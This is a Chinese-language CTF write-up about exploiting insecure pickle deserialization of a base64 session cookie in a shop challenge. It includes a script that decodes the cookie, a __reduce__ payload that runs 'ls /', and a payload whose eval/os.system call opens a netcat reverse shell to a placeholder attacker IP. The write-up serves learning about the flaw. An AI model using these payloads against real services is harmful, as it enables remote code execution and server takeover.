依旧复习巩固pickle反序列化,这也是一道pickle反序列化的题目,做了几个pickle的题给人的感觉就是pickle反序列化能查找到的一些题考的不是很难,但是可能会套上其它的知识一起,当然并不是说Py反序列化简单,21年西南赛区的国赛题就考了一道py反序列化,特别的难,我水平有限就没写,以后水平够了再复现。
看看这道题吧,
flag在这根黄瓜中,但是这黄瓜1000块钱,我们只有500,一般这种情况可以考虑有没有逻辑漏洞,比如想之前的ikun题就是逻辑漏洞打折,但这里并不能够,我们抓个包看看
id参数看着让人很想打,但是没有打的进去的点,而session长的很奇怪,很像base64编码,直接把它放入base64解码看看
很显然,解码成功了,但是有点乱。不过没关系,题目既然是pickle那么这个估计就是pickle后的数据,所以我们用pickle解码。当然,不能把这串解码后的数据复制过去,因为有些字符已经不可见了,所以我们直接在python中进行解码即可。
import pickle
import base64
a = pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAMmE0MDIxOTA4NmI0YTk1MDNkYWNkNjc1OTRlODg1NjhxBXUu'))
print(a)
可以看到解码+反序列化成功得到一串我们看的懂的字符串了,但是这玩意儿有好几个键值,看不懂?没关系,这不重要,因为我只讲第一种方法(只为巩固pickle反序列化),第二种变量覆盖的方法就需要知道这些键值的意思,感兴趣的可以去研究研究。
既然我们已知这个session的值会被反序列化,我们直接用python构造一个序列化的字符串,然后放入session中,当我们点击buy时,页面会检查money的值并在购买成功后减去相应的值,所以我们如果放入恶意的payload(即python序列化的值),web并不知道,还是会先解base64编码,再反序列化然后检查money,它检不检查的其实我并不关心,但是它肯定会反序列化,所以就可以实现python反序列化的点。
先试试能不能命令执行:
import pickle
import base64
import commands
class errorr0(object):
def __reduce__(self):
return (commands.getoutput,("ls /",))
a = errorr0()
b = pickle.dumps(a)
c = base64.b64encode(b)
print c
好吧,失败了,大概猜想应该是解码以后匹配money的时候然后发现session不对就报500了,当然我们想要命令执行肯定是需要它的200返回的,但是如果是反弹shell,就不需要,因为反序列化一执行就把shell弹到我们的服务器了,web会被阻塞在页面上,因此猜想是可以成功的。
import base64
import pickle
class A(object):
def __reduce__(self):
return (eval, ("__import__('os').system('nc you_IP 2333 -e/bin/sh')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))
把这个print的值打入session,服务器开启端口监听,然后在web页面点击buy即可反弹shell
这种方法挺简单的,看到还有其它师傅用curl重定向的,感觉挺麻烦的,有兴趣的可以去了解了解。